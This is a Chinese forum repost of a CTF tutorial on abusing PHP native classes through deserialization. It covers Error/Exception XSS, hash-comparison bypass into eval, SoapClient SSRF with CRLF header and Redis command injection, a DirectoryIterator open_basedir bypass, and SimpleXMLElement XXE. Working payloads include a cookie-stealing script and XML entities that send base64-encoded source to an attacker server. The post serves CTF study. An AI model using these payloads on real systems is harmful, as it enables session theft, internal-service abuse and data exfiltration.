安全矩阵

 找回密码
 立即注册
搜索
查看: 2559|回复: 0

PHP 原生类的利用小结

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-3-11 09:44:32 | 显示全部楼层 |阅读模式
原文链接:PHP 原生类的利用小结
  • 前言
  • 使用 Error/Exception 内置类进行 XSS
    • Error 内置类
    • Exception 内置类
    • [BJDCTF 2nd]xss之光
  • 使用 Error/Exception 内置类绕过哈希比较
    • Error 类
    • Exception 类
    • [2020 极客大挑战]Greatphp
  • 使用 SoapClient 类进行 SSRF
    • SoapClient 类
    • 使用 SoapClient 类进行 SSRF
    • bestphp's revenge
  • 使用 DirectoryIterator 类绕过 open_basedir
  • 使用 SimpleXMLElement 类进行 XXE
    • SimpleXMLElement
    • [SUCTF 2018]Homework
  • Ending......
前言

在CTF题目中,好几次都遇到了利用 PHP 原生类进行XSS、反序列化、SSRF以及XXE的思路,一直想好好看一下 PHP 原生类在 CTF 中的利用,迫于生活xx拖了好久。今天终于有机会好好总结总结了。常遇到的几个 PHP 原生类有如下几个:

  • Error
  • Exception
  • SoapClient
  • DirectoryIterator
  • SimpleXMLElement

下面我们根据这几个原生类的利用方式分别进行讲解。

使用 Error/Exception 内置类进行 XSSError 内置类
  • 适用于php7版本
  • 在开启报错的情况下

Error类是php的一个内置类,用于自动自定义一个Error,在php7的环境下可能会造成一个xss漏洞,因为它内置有一个 __toString() 的方法,常用于PHP 反序列化中。如果有个POP链走到一半就走不通了,不如尝试利用这个来做一个xss,其实我看到的还是有好一些cms会选择直接使用 echo <Object> 的写法,当 PHP 对象被当作一个字符串输出或使用时候(如echo的时候)会触发__toString 方法,这是一种挖洞的新思路。

下面演示如何使用 Error 内置类来构造 XSS。

测试代码:

使用 Error/Exception 内置类进行 XSSError 内置类
  • 适用于php7版本
  • 在开启报错的情况下

Error类是php的一个内置类,用于自动自定义一个Error,在php7的环境下可能会造成一个xss漏洞,因为它内置有一个 __toString() 的方法,常用于PHP 反序列化中。如果有个POP链走到一半就走不通了,不如尝试利用这个来做一个xss,其实我看到的还是有好一些cms会选择直接使用 echo <Object> 的写法,当 PHP 对象被当作一个字符串输出或使用时候(如echo的时候)会触发__toString 方法,这是一种挖洞的新思路。

下面演示如何使用 Error 内置类来构造 XSS。

测试代码:

  1. <?php
  2. $a = unserialize($_GET['whoami']);
  3. echo $a;
  4. ?>
复制代码
这里可以看到是一个反序列化函数,但是没有让我们进行反序列化的类啊,这就遇到了一个反序列化但没有POP链的情况,所以只能找到PHP内置类来进行反序列化)

给出POC:

  1. <?php
  2. $a = new Error("<script>alert('xss')</script>");
  3. $b = serialize($a);
  4. echo urlencode($b);  
  5. ?>

  6. //输出: O%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A25%3A%22%3Cscript%3Ealert%281%29%3C%2Fscript%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A18%3A%22%2Fusercode%2Ffile.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D
复制代码
​​

成功弹窗。

Exception 内置类
  • 适用于php5、7版本
  • 开启报错的情况下

测试代码:

  1. <?php
  2. $a = unserialize($_GET['whoami']);
  3. echo $a;
  4. ?>
复制代码
给出POC:
  1. ?php
  2. $a = new Exception("<script>alert('xss')</script>");
  3. $b = serialize($a);
  4. echo urlencode($b);  
  5. ?>

  6. //输出: O%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A25%3A%22%3Cscript%3Ealert%281%29%3C%2Fscript%3E%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A18%3A%22%2Fusercode%2Ffile.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7D
复制代码
​​
[BJDCTF 2nd]xss之光

进入题目,首先通过git泄露拿到源码:

  1. <?php
  2. $a = $_GET['yds_is_so_beautiful'];
  3. echo unserialize($a);
复制代码

仅看到一个反序列化函数并没有给出需要反序列化的类,这就遇到了一个反序列化但没有POP链的情况,所以只能找到PHP内置类来进行反序列化。又发现有个echo,没得跑了,就是我们刚才演示的利用Error或Exception内置类进行XSS,但是查看一下题目的环境发现是PHP 5,所以我们要使用Exception类。

由于此题是xss,所以只要xss执行window.open()就能把flag带出来,所以POC如下:

  1. <?php
  2. $poc = new Exception("<script>window.open('http://de28dfb3-f224-48d4-b579-f1ea61189930.node3.buuoj.cn/?'+document.cookie);</script>");
  3. echo urlencode(serialize($poc));
  4. ?>
复制代码

得到payload如下:

/?yds_is_so_beautiful=O%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A109%3A%22%3Cscript%3Ewindow.open%28%27http%3A%2F%2Fde28dfb3-f224-48d4-b579-f1ea61189930.node3.buuoj.cn%2F%3F%27%2Bdocument.cookie%29%3B%3C%2Fscript%3E%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A18%3A%22%2Fusercode%2Ffile.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7D
执行后,得到flag就在 cookie 中:

image-20210309193304178 使用 Error/Exception 内置类绕过哈希比较在上文中,我们已经认识了Error和Exception这两个PHP内置类,但对他们妙用不仅限于 XSS,还可以通过巧妙的构造绕过md5()函数和sha1()函数的比较。这里我们就要详细的说一下这个两个错误类了。

Error 类
Error 是所有PHP内部错误类的基类,该类是在PHP 7.0.0 中开始引入的。
类摘要:
Error implements Throwable { /* 属性 */ protected string $message ; protected int $code ; protected string $file ; protected int $line ; /* 方法 */ public __construct ( string $message = "" , int $code = 0 , Throwable $previous = null ) final public getMessage ( ) : string final public getPrevious ( ) : Throwable final public getCode ( ) : mixed final public getFile ( ) : string final public getLine ( ) : int final public getTrace ( ) : array final public getTraceAsString ( ) : string public __toString ( ) : string final private __clone ( ) : void}
类属性:
  • message:错误消息内容
  • code:错误代码
  • file:抛出错误的文件名
  • line:抛出错误在该文件中的行数
类方法:
  • Error::__construct — 初始化 error 对象
  • Error::getMessage — 获取错误信息
  • Error::getPrevious — 返回先前的 Throwable
  • Error::getCode — 获取错误代码
  • Error::getFile — 获取错误发生时的文件
  • Error::getLine — 获取错误发生时的行号
  • Error::getTrace — 获取调用栈(stack trace)
  • Error::getTraceAsString — 获取字符串形式的调用栈(stack trace)
  • Error::__toString — error 的字符串表达
  • Error::__clone — 克隆 error
Exception 类Exception 是所有异常的基类,该类是在PHP 5.0.0 中开始引入的。
类摘要:
  1. Exception {
  2. /* 属性 */
  3. protected string $message ;
  4. protected int $code ;
  5. protected string $file ;
  6. protected int $line ;
  7. /* 方法 */
  8. public __construct ( string $message = "" , int $code = 0 , Throwable $previous = null )
  9. final public getMessage ( ) : string
  10. final public getPrevious ( ) : Throwable
  11. final public getCode ( ) : mixed
  12. final public getFile ( ) : string
  13. final public getLine ( ) : int
  14. final public getTrace ( ) : array
  15. final public getTraceAsString ( ) : string
  16. public __toString ( ) : string
  17. final private __clone ( ) : void
  18. }
复制代码

类属性:

  • message:异常消息内容
  • code:异常代码
  • file:抛出异常的文件名
  • line:抛出异常在该文件中的行号

类方法:

  • Exception::__construct — 异常构造函数
  • Exception::getMessage — 获取异常消息内容
  • Exception::getPrevious — 返回异常链中的前一个异常
  • Exception::getCode — 获取异常代码
  • Exception::getFile — 创建异常时的程序文件名称
  • Exception::getLine — 获取创建的异常所在文件中的行号
  • Exception::getTrace — 获取异常追踪信息
  • Exception::getTraceAsString — 获取字符串类型的异常追踪信息
  • Exception::__toString — 将异常对象转换为字符串
  • Exception::__clone — 异常克隆

我们可以看到,在Error和Exception这两个PHP原生类中内只有 __toString 方法,这个方法用于将异常或错误对象转换为字符串。

我们以Error为例,我们看看当触发他的 __toString 方法时会发生什么:

  1. <?php
  2. $a = new Error("payload",1);
  3. echo $a;

  4. 输出如下:

  5. Error: payload in /usercode/file.php:2
  6. Stack trace:
  7. #0 {main}
复制代码

发现这将会以字符串的形式输出当前报错,包含当前的错误信息("payload")以及当前报错的行号("2"),而传入 Error("payload",1) 中的错误代码“1”则没有输出出来。

在来看看下一个例子:

  1. <?php
  2. $a = new Error("payload",1);$b = new Error("payload",2);
  3. echo $a;
  4. echo "\r\n\r\n";
  5. echo $b;

  6. 输出如下:

  7. Error: payload in /usercode/file.php:2
  8. Stack trace:
  9. #0 {main}

  10. Error: payload in /usercode/file.php:2
  11. Stack trace:
  12. #0 {main}
复制代码

可见,$a 和 $b 这两个错误对象本身是不同的,但是 __toString 方法返回的结果是相同的。注意,这里之所以需要在同一行是因为 __toString 返回的数据包含当前行号。

Exception 类与 Error 的使用和结果完全一样,只不过 Exception 类适用于PHP 5和7,而 Error 只适用于 PHP 7。

Error和Exception类的这一点在绕过在PHP类中的哈希比较时很有用,具体请看下面这道例题。

[2020 极客大挑战]Greatphp

进入题目,给出源码:

  1. <?php
  2. error_reporting(0);
  3. class SYCLOVER {
  4.     public $syc;
  5.     public $lover;

  6.     public function __wakeup(){
  7.         if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
  8.            if(!preg_match("/\<\?php|\(|\)|"|\'/", $this->syc, $match)){
  9.                eval($this->syc);
  10.            } else {
  11.                die("Try Hard !!");
  12.            }
  13.            
  14.         }
  15.     }
  16. }

  17. if (isset($_GET['great'])){
  18.     unserialize($_GET['great']);
  19. } else {
  20.     highlight_file(__FILE__);
  21. }

  22. ?>
复制代码
可见,需要进入eval()执行代码需要先通过上面的if语句:
  1. if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) )
复制代码

这个乍看一眼在ctf的基础题目中非常常见,一般情况下只需要使用数组即可绕过。但是这里是在类里面,我们当然不能这么做。

这里的考点是md5()和sha1()可以对一个类进行hash,并且会触发这个类的 __toString 方法;且当eval()函数传入一个类对象时,也会触发这个类里的 __toString 方法。

所以我们可以使用含有 __toString 方法的PHP内置类来绕过,用的两个比较多的内置类就是 Exception 和 Error ,他们之中有一个 __toString 方法,当类被当做字符串处理时,就会调用这个函数。

根据刚才讲的Error类和Exception类中  __toString 方法的特性,我们可以用这两个内置类进行绕过。

由于题目用preg_match过滤了小括号无法调用函数,所以我们尝试直接 include "/flag" 将flag包含进来即可。由于过滤了引号,我们直接用url取反绕过即可。

POC如下:

  1. <?php

  2. class SYCLOVER {
  3. public $syc;
  4. public $lover;
  5. public function __wakeup(){
  6.   if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
  7.      if(!preg_match("/\<\?php|\(|\)|"|\'/", $this->syc, $match)){
  8.       eval($this->syc);
  9.      } else {
  10.       die("Try Hard !!");
  11.      }
  12.      
  13.   }
  14. }
  15. }

  16. $str = "?><?=include~".urldecode("%D0%99%93%9E%98")."?>";
  17. /*
  18. 或使用[~(取反)][!%FF]的形式,
  19. 即: $str = "?><?=include[~".urldecode("%D0%99%93%9E%98")."][!.urldecode("%FF")."]?>";   

  20. $str = "?><?=include $_GET[_]?>";
  21. */
  22. $a=new Error($str,1);$b=new Error($str,2);
  23. $c = new SYCLOVER();
  24. $c->syc = $a;
  25. $c->lover = $b;
  26. echo(urlencode(serialize($c)));

  27. ?>
复制代码

这里 $str = "?><?=include~".urldecode("%D0%99%93%9E%98")."?>"; 中为什么要在前面加上一个 ?> 呢?因为 Exception 类与 Error 的 __toString 方法在eval()函数中输出的结果是不可能控的,即输出的报错信息中,payload前面还有一段杂乱信息“Error: ”:

  1. Error: payload in /usercode/file.php:2
  2. Stack trace:
  3. #0 {main}
复制代码


进入eval()函数会类似于:eval("...Error: <?php payload ?>")。所以我们要用 ?> 来闭合一下,即 eval("...Error: ?><?php payload ?>"),这样我们的payload便能顺利执行了。
生成的payload如下:
O%3A8%3A%22SYCLOVER%22%3A2%3A%7Bs%3A3%3A%22syc%22%3BO%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A20%3A%22%3F%3E%3C%3F%3Dinclude%7E%D0%99%93%9E%98%3F%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A1%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A18%3A%22%2Fusercode%2Ffile.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A19%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7Ds%3A5%3A%22lover%22%3BO%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A20%3A%22%3F%3E%3C%3F%3Dinclude%7E%D0%99%93%9E%98%3F%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A2%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A18%3A%22%2Fusercode%2Ffile.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A19%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D%7D
执行便可得到flag:

img 使用 SoapClient 类进行 SSRF

image-20210310084938776 SoapClient 类PHP 的内置类 SoapClient 是一个专门用来访问web服务的类,可以提供一个基于SOAP协议访问Web服务的 PHP 客户端。
类摘要如下:
  1. SoapClient {
  2. /* 方法 */
  3. public __construct ( string|null $wsdl , array $options = [] )
  4. public __call ( string $name , array $args ) : mixed
  5. public __doRequest ( string $request , string $location , string $action , int $version , bool $oneWay = false ) : string|null
  6. public __getCookies ( ) : array
  7. public __getFunctions ( ) : array|null
  8. public __getLastRequest ( ) : string|null
  9. public __getLastRequestHeaders ( ) : string|null
  10. public __getLastResponse ( ) : string|null
  11. public __getLastResponseHeaders ( ) : string|null
  12. public __getTypes ( ) : array|null
  13. public __setCookie ( string $name , string|null $value = null ) : void
  14. public __setLocation ( string $location = "" ) : string|null
  15. public __setSoapHeaders ( SoapHeader|array|null $headers = null ) : bool
  16. public __soapCall ( string $name , array $args , array|null $options = null , SoapHeader|array|null $inputHeaders = null , array &$outputHeaders = null ) : mixed
  17. }
复制代码


可以看到,该内置类有一个 __call 方法,当 __call 方法被触发后,它可以发送 HTTP 和 HTTPS 请求。正是这个 __call 方法,使得 SoapClient 类可以被我们运用在 SSRF 中。SoapClient 这个类也算是目前被挖掘出来最好用的一个内置类。
该类的构造函数如下:
  1. public SoapClient :: SoapClient(mixed $wsdl [,array $options ])
复制代码


  • 第一个参数是用来指明是否是wsdl模式,将该值设为null则表示非wsdl模式。
  • 第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location是要将请求发送到的SOAP服务器的URL,而uri 是SOAP服务的目标命名空间。
使用 SoapClient 类进行 SSRF知道上述两个参数的含义后,就很容易构造出SSRF的利用Payload了。我们可以设置第一个参数为null,然后第二个参数的location选项设置为target_url。
  1. <?php
  2. $a = new SoapClient(null,array('location'=>'http://47.xxx.xxx.72:2333/aaa', 'uri'=>'http://47.xxx.xxx.72:2333'));
  3. $b = serialize($a);
  4. echo $b;
  5. $c = unserialize($b);
  6. $c->a();    // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
  7. ?>
复制代码


首先在47.xxx.xxx.72上面起个监听:

image-20210310090946771 然后执行上述代码,如下图所示成功触发SSRF,47.xxx.xxx.72上面收到了请求信息:

image-20210310090911490 但是,由于它仅限于HTTP/HTTPS协议,所以用处不是很大。而如果这里HTTP头部还存在CRLF漏洞的话,但我们则可以通过SSRF+CRLF,插入任意的HTTP头。
如下测试代码,我们在HTTP头中插入一个cookie:
  1. <?php
  2. $target = 'http://47.xxx.xxx.72:2333/';
  3. $a = new SoapClient(null,array('location' => $target, 'user_agent' => "WHOAMI\r\nCookie: PHPSESSID=tcjr6nadpk3md7jbgioa6elfk4", 'uri' => 'test'));
  4. $b = serialize($a);
  5. echo $b;
  6. $c = unserialize($b);
  7. $c->a();    // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
  8. ?>
复制代码


执行代码后,如下图所示,成功在HTTP头中插入了一个我们自定义的cookie:

image-20210310101410653 可以再去drops回顾一下如何通过HTTP协议去攻击Redis的:Trying to hack Redis via HTTP requests
如下测试代码:
  1. <?php
  2. $target = 'http://47.xxx.xxx.72:6379/';
  3. $poc = "CONFIG SET dir /var/www/html";
  4. $a = new SoapClient(null,array('location' => $target, 'uri' => 'hello^^'.$poc.'^^hello'));
  5. $b = serialize($a);
  6. $b = str_replace('^^',"\n\r",$b);
  7. echo $b;
  8. $c = unserialize($b);
  9. $c->a();    // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
  10. ?>
复制代码


执行代码后,如下图所示,成功插入了Redis命令:

image-20210310095858758 这样我们就可以利用HTTP协议去攻击Redis了。
对于如何发送POST的数据包,这里面还有一个坑,就是 Content-Type 的设置,因为我们要提交的是POST数据 Content-Type 的值我们要设置为 application/x-www-form-urlencoded,这里如何修改 Content-Type 的值呢?由于 Content-Type 在 User-Agent 的下面,所以我们可以通过 SoapClient 来设置 User-Agent ,将原来的 Content-Type 挤下去,从而再插入一个新的 Content-Type 。
测试代码如下:
  1. <?php
  2. $target = 'http://47.xxx.xxx.72:2333/';
  3. $post_data = 'data=whoami';
  4. $headers = array(
  5.     'X-Forwarded-For: 127.0.0.1',
  6.     'Cookie: PHPSESSID=3stu05dr969ogmprk28drnju93'
  7. );
  8. $a = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '. (string)strlen($post_data).'^^^^'.$post_data,'uri'=>'test'));
  9. $b = serialize($a);
  10. $b = str_replace('^^',"\n\r",$b);
  11. echo $b;
  12. $c = unserialize($b);
  13. $c->a();    // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
  14. ?>
复制代码


执行代码后,如下图所示,成功发送POST数据:

image-20210310103943612

bestphp's revenge

bestphp's revenge 这道题利用的就是这个点,即对 SoapClient 类进行反序列化触发 SSRF,并配合CRLF构造payload。

进入题目,给出源码:

扫描目录发现flag.php:

image-20201129174758260 可见当REMOTE_ADDR等于127.0.0.1时,就会在session中插入flag,就能得到flag。很明显了,要利用ssrf。
但是这里并没有明显的ssrf利用点,所以我们想到利用PHP原生类SoapClient触发反序列化导致SSRF。并且,由于flag会被插入到session中,所以我们就一定需要携带一个cookie即PHPSESSID去访问它来生成这个session文件。
写出最后的POC:
  1. <?php
  2. $target = "http://127.0.0.1/flag.php";
  3. $attack = new SoapClient(null,array('location' => $target,
  4.     'user_agent' => "N0rth3ty\r\nCookie: PHPSESSID=tcjr6nadpk3md7jbgioa6elfk4\r\n",
  5.     'uri' => "123"));
  6. $payload = urlencode(serialize($attack));
  7. echo $payload;
复制代码


生成payload:
O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A3%3A%22123%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A56%3A%22N0rth3ty%0D%0ACookie%3A+PHPSESSID%3Dtcjr6nadpk3md7jbgioa6elfk4%0D%0A%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D
这里这个POC就是利用CRLF伪造本地请求SSRF去访问flag.php,并将得到的flag结果保存在cookie为 PHPSESSID=tcjr6nadpk3md7jbgioa6elfk4 的session中。
然后,我们就要想办法反序列化这个对象,但这里有没有反序列化点,那么我们怎么办呢?我们在题目源码中发现了session_start();,很明显,我们可以用session反序列化漏洞。但是如果想要利用session反序列化漏洞的话,我们必须要有 ini_set() 这个函数来更改 session.serialize_handler 的值,将session反序列化引擎修改为其他的引擎,本来应该使用ini_set()这个函数的,但是这个函数不接受数组,所以就不行了。于是我们就用session_start()函数来代替,即构造 session_start(serialize_handler=php_serialize) 就行了。我们可以利用题目中的 call_user_func($_GET['f'], $_POST); 函数,传入GET:/?f=session_start、POST:serialize_handler=php_serialize,实现 session_start(serialize_handler=php_serialize) 的调用来修改此页面的序列化引擎为php_serialize。
所以,我们第一次传值先注入上面POC生成的payload创建并得到我们的session:

image-20201129180931916

此时,我们成功将我们php原生类SoapClient构造的payload传入了 PHPSESSID=tcjr6nadpk3md7jbgioa6elfk4 的session中,当页面重新加载时,就会自动将其反序列化。但此时还不会触发SSRF,需要触发 __call 方法来造成SSRF,该方法在访问对象中一个不存在的方法时会被自动调用,所以单纯反序列化还不行,我们还需要访问该对象中一个不存在的方法,这里就用到了如下这段代码:

  1. $a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
  2. call_user_func($b, $a);
复制代码
我们可以利用extract函数将变量b覆盖为call_user_func,这样,就成了:
  1. all_user_func(call_user_func, array(reset($_SESSION), 'welcome_to_the_lctf2018'));
复制代码

call_user_func()函数有一个特性,就是当只传入一个数组时,可以用call_user_func()来调用一个类里面的方法,call_user_func()会将这个数组中的第一个值当做类名,第二个值当做方法名。

这样也就是会访问我们构造的session对象中的welcome_to_the_lctf2018方法,而welcome_to_the_lctf2018方法不存在,就会触发 __call 方法,造成ssrf去访问flag.php。
所以我们第二次传参如下:

image-20201129182157971 最后,我们第三次传参,用我们POC里面自己设置的cookie(PHPSESSID=tcjr6nadpk3md7jbgioa6elfk4)去访问这个页面,var_dump($_SESSION); 会将 PHPSESSID=tcjr6nadpk3md7jbgioa6elfk4 的这个session内容输出出来,即可得到flag:

image-20201129182843545 使用 DirectoryIterator 类绕过 open_basedirDirectoryIterator 类提供了一个用于查看文件系统目录内容的简单接口,该类是在 PHP 5 中增加的一个类。
DirectoryIterator与glob://协议结合将无视open_basedir对目录的限制,可以用来列举出指定目录下的文件。
测试代码:
  1. / test.php
  2. <?php
  3. $dir = $_GET['whoami'];
  4. $a = new DirectoryIterator($dir);
  5. foreach($a as $f){
  6.     echo($f->__toString().'<br>');
  7. }
  8. ?>
  9.    
  10. # payload一句话的形式:
  11. $a = new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().'<br>');}
复制代码

我们输入 /?whoami=glob:///* 即可列出根目录下的文件:


image-20201116141724946 但是会发现只能列根目录和open_basedir指定的目录的文件,不能列出除前面的目录以外的目录中的文件,且不能读取文件内容。
使用 SimpleXMLElement 类进行 XXESimpleXMLElement 这个内置类用于解析 XML 文档中的元素。
SimpleXMLElement官方文档中对于SimpleXMLElement 类的构造方法 SimpleXMLElement::__construct 的定义如下:

image-20210118131857853
image-20210118131957770 可以看到通过设置第三个参数 data_is_url 为 true,我们可以实现远程xml文件的载入。第二个参数的常量值我们设置为2即可。第一个参数 data 就是我们自己设置的payload的url地址,即用于引入的外部实体的url。
这样的话,当我们可以控制目标调用的类的时候,便可以通过 SimpleXMLElement 这个内置类来构造 XXE。
[SUCTF 2018]Homework进入题目,随便注册一个账号,登录作业平台。看到一个 calc 计算器类的代码。有两个按钮,一个用于调用 calc 类实现两位数的四则运算。另一个用于上传文件,提交代码。

image-20210118125821820
image-20210118125844781 calc 计算器类的代码为:
  1. <?php
  2. class calc{
  3.     function __construct__(){
  4.         calc();
  5.     }

  6.     function calc($args1,$method,$args2){
  7.         $args1=intval($args1);
  8.         $args2=intval($args2);
  9.         switch ($method) {
  10.             case 'a':
  11.                 $method="+";
  12.                 break;

  13.             case 'b':
  14.                 $method="-";
  15.                 break;

  16.             case 'c':
  17.                 $method="*";
  18.                 break;

  19.             case 'd':
  20.                 $method="/";
  21.                 break;
  22.                         
  23.             default:
  24.                 die("invalid input");
  25.         }
  26.         $Expression=$args1.$method.$args2;
  27.         eval("\$r=$Expression;");
  28.         die("Calculation results:".$r);
  29.     }
  30. }
  31. ?>      
复制代码

我们点击calc按钮,计算2+2=4,我们观察url处的参数,再结合calc计算器类的代码可知module为调用的类,args为类的构造方法的参数:


image-20210118130132931 所以我们可以通过这种形式调用PHP中的内置类。这里我们通过调用 SimpleXMLElement 这个内置类来构造 XXE。
首先,我们在vps(47.xxx.xxx.72)上构造如下evil.xml、send.xml和send.php这三个文件。
evil.xml:
  1. <?xml version="1.0"?>
  2. <!DOCTYPE ANY[
  3. <!ENTITY % remote SYSTEM "http://47.xxx.xxx.72/send.xml">
  4. %remote;
  5. %all;
  6. %send;
  7. ]>
复制代码
send.xml:
  1. <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=index.php">
  2. <!ENTITY % all "<!ENTITY % send SYSTEM 'http://47.xxx.xxx.72/send.php?file=%file;'>">
复制代码

send.php:

  1. <span style="display: block;background: url(" https:="" mmbiz.qpic.cn="" mmbiz_png="" 1kzx23sqo1kummakyh6whfskpi4tiaygrdvqwouep0v7mjjh6ibg1jx0oalnctiaahcvlfrn5q5qvojwlbico9lmpq="" 640?wx_fmt="png&quot;)" 10px="" 40px="" no-repeat="" rgb(40,="" 44,="" 52);height:="" 30px;width:="" 100%;margin-bottom:="" -7px;border-radius:="" 5px;"=""><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #61aeee;line-height: 26px;"><?php</span>
  2. file_put_contents(<span style="color: #98c379;line-height: 26px;">"result.txt"</span>, $_GET[<span style="color: #98c379;line-height: 26px;">'file'</span>]) ;
  3. <span style="color: #61aeee;line-height: 26px;">?></span></code></span>
复制代码

然后在url中构造如下:

/show.php?module=SimpleXMLElement&args[]=http://47.xxx.xxx.72/evil.xml&args[]=2&args[]=true

这样目标主机就能先加载我们vps上的evil.xml,再加载send.xml。

如下图所示,成功将网站的源码以base64编码的形式读取并带出到result.txt中:



image-20210310113811129 后续解题过程就不写了。

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-9-21 01:23 , Processed in 0.015468 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表